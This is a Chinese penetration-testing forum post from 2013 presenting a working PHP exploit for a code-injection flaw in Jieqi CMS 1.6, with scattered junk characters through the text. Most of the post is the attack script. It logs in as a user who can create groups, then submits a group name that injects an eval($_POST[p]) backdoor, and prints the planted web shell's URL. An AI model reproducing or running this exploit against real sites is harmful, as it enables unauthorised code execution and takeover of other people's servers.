中国网络渗透测试联盟

标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP [打印本页]

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作者: admin    时间: 2013-2-23 11:28
标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
5 a" I1 M7 t; p. w/ B" V

& x5 k. j7 m+ B/ p$ o该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
% {8 N, [. y; ] 需要有一个能创建圈子的用户。
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+ I# S0 R* `- F/ X<?php

4 r0 \' }" [$ Mprint_r('
3 D$ P  P, ^- T+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
7 I9 U! B" S4 f" Iby flyh4t
1 E5 A* p+ i; g, P6 b% Hmail: phpsec at hotmail dot com
  K& f# E/ \2 F) nteam: http://www.wolvez.org
% B/ \9 b9 I4 ~& w+---------------------------------------------------------------------------+
'); /**
# N+ f: v- s; u1 r3 K$ } * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
. c6 f) q- z' t$ I+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
- G) Q3 C* k# Y( |; v4 m; x+ Kpath:      path to jieqicms
uasename:  a username who can create group
7 G8 P9 e1 S7 NExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
7 ~! K- W: C- j/ N; m'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

' t/ u2 T& o  o5 Q4 @5 ^'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
- R3 f; V7 e5 D-----------------------------23281168279961
/ }* t& f6 {9 W0 ^6 Y6 jContent-Disposition: form-data; name="gcatid"
  w* N- a% a- U" y
1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
; z  ~% I7 Q! _2 \
1
' }5 ~! C5 f9 A2 y-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
$ ?/ i) j  e/ N  c
- U0 A# ~% p( Epreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;

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